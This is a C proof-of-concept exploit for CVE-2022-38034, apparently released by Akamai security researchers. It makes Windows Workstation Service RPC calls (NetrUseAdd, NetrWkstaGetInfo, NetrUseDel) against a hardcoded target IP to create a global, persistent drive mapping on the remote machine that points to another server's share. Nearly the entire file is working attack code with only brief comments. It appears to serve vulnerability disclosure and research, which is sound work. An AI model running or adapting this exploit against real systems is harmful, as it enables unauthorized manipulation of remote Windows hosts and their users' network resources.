/* CVE-2022-38034 PoC code
 * Copyright 2022 Akamai Technologies, Inc.
 *
 * Licensed under the Apache License, Version 2.0 (the
 * "License"); you may not use this file except in
 * compliance with the License.  You may obtain a copy
 * of the License at
 *
 *   https://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in
 * writing, software distributed under the License is
 * distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR
 * CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing
 * permissions and limitations under the License.
 */

#include "ms-wkst_h.h"
#include "defines.h"

#include <Windows.h>
#include <stdio.h>

#pragma comment(lib, "rpcrt4.lib")
#pragma comment(lib, "Mpr.lib")

#define TARGET L"172.23.51.56"
#define SERVER L"\\\\" L"172.23.57.8" L"\\"


void runEnum()
{
	USE_ENUM_STRUCT useEnum;
	USE_INFO_0_CONTAINER useCont;
	long ret, ulCode;
	DWORD total = 0;
	HANDLE resume = 0;

	useEnum.Level = 0x10000;
	useEnum.UseInfo.Level0 = &useCont;
	useCont.Buffer = NULL;
	useCont.EntriesRead = 0;

	RpcTryExcept
	{
		ret = NetrUseEnum(TARGET, &useEnum, MAX_PREFERRED_LENGTH, &total, &resume);
		wprintf(L"NetrUseEnum returned 0x%lx, total %ld, read %ld\n", ret, total, useCont.EntriesRead);
		for (ret = 0; ret < useCont.EntriesRead; ret++)
		{
			wprintf(L"NetrUseEnum local %s, remote %s\n", useCont.Buffer[ret].ui0_local, useCont.Buffer[ret].ui0_remote);
		}
	}
	RpcExcept(1)
	{
		ulCode = RpcExceptionCode();
		wprintf(L"Runtime reported exception 0x%lx = %ld\n", ulCode, ulCode);
	}
	RpcEndExcept
}

void runNetAdd()
{
	NETRESOURCEW resource;
	long ret;

	resource.dwScope = RESOURCE_CONNECTED;
	resource.dwType = RESOURCETYPE_DISK;
	resource.dwDisplayType = RESOURCEDISPLAYTYPE_SHARE;
	resource.dwUsage = RESOURCEUSAGE_CONNECTABLE;
	resource.lpLocalName = NULL;
	resource.lpRemoteName = L"\\\\" TARGET;
	resource.lpComment = NULL;
	resource.lpProvider = NULL;
	ret = WNetAddConnection2W(&resource, PASSWORD, USER, CONNECT_TEMPORARY);
	if (ret)
	{
		wprintf(L"WNetAddConnection2W returned 0x%lx\n", ret);
		exit(1);
	}
}

void runNetrDel()
{
	DWORD ret;
	RpcTryExcept
	{
		ret = NetrUseDel(TARGET, L"Z:", 0x10002); // USE_FLAG_GLOBAL_MAPPING | USE_LOTS_OF_FORCE
		wprintf(L"NetrUseDel returned 0x%lx\n", ret);
	}
		RpcExcept(1)
	{
		ret = RpcExceptionCode();
		wprintf(L"Runtime reported exception 0x%lx = %ld\n", ret, ret);
	}
	RpcEndExcept
}

void runNetrAdd()
{
	long ret, ulCode;
	USE_INFO UseInfo;

	UseInfo.UseInfo3 = (USE_INFO_3*)malloc(sizeof(USE_INFO_3));
	UseInfo.UseInfo3->ui3_ui2.ui2_useinfo.ui1_local = L"Z:";
	UseInfo.UseInfo3->ui3_ui2.ui2_useinfo.ui1_remote = SERVER L"share";
	UseInfo.UseInfo3->ui3_ui2.ui2_useinfo.ui1_password = NULL; //PASSWORD;
	UseInfo.UseInfo3->ui3_ui2.ui2_useinfo.ui1_asg_type = 0; //USE_DISKDEV
	UseInfo.UseInfo3->ui3_ui2.ui2_useinfo.ui1_status = 1;
	UseInfo.UseInfo3->ui3_ui2.ui2_useinfo.ui1_refcount = 1;
	UseInfo.UseInfo3->ui3_ui2.ui2_useinfo.ui1_usecount = 10;
	UseInfo.UseInfo3->ui3_ui2.ui2_domainname = NULL;// DOMAIN;
	UseInfo.UseInfo3->ui3_ui2.ui2_username = NULL; //USER;
	UseInfo.UseInfo3->ui3_flags = 0x100 | 0x20; // CREATE_GLOBAL_MAPPING | CREATE_PERSIST_MAPPING

	RpcTryExcept
	{
		ret = NetrUseAdd(TARGET, 0x10003, &UseInfo, &ulCode); // USE_FLAG_GLOBAL_MAPPING | USE_INFO_LEVEL_3
		wprintf(L"NetrUseAdd returned 0x%lx = %ld\n", ret, ulCode);
	}
		RpcExcept(1)
	{
		ulCode = RpcExceptionCode();
		wprintf(L"Runtime reported exception 0x%lx = %ld\n", ulCode, ulCode);
	}
	RpcEndExcept
}

void runWkstaGetInfo()
{
	WKSTA_INFO WkstaInfo;
	long ret, ulCode;

	WkstaInfo.WkstaInfo100 = (WKSTA_INFO_100*)malloc(sizeof(WKSTA_INFO_100));
	WkstaInfo.WkstaInfo100->wki100_computername = NULL;// (wchar_t*)malloc(100);
	WkstaInfo.WkstaInfo100->wki100_langroup = NULL;// (wchar_t*)malloc(100);

	RpcTryExcept
	{
	wprintf(L"Calling NetrWkstaGetInfo\n");
	NetrWkstaGetInfo(TARGET, 0x00000064, &WkstaInfo);
	wprintf(L"Target computer name: %s\n", WkstaInfo.WkstaInfo100->wki100_computername);
	}
	RpcExcept(1)
	{
		ulCode = RpcExceptionCode();
		wprintf(L"NetrWkstaGetInfo: Runtime reported exception 0x%lx = %ld\n", ulCode, ulCode);
	}
	RpcEndExcept

	free(WkstaInfo.WkstaInfo100);
}

int main(int argc, TCHAR* argv)
{
	// Doing net use on the target with the target's credentials. Otherwise our RPC bind doesn't pass our wanted creds
	//runNetAdd();

	// This should fail
	runNetrAdd();
	// This will make subsequent calls to Netr funcs work
	runWkstaGetInfo();
	//runEnum();
	runNetrDel();
	runNetrAdd();

	return 0;
}

/******************************************************/
/*         MIDL allocate and free                     */
/******************************************************/

void __RPC_FAR* __RPC_USER midl_user_allocate(size_t len)
{
	return(malloc(len));
}

void __RPC_USER midl_user_free(void __RPC_FAR* ptr)
{
	free(ptr);
}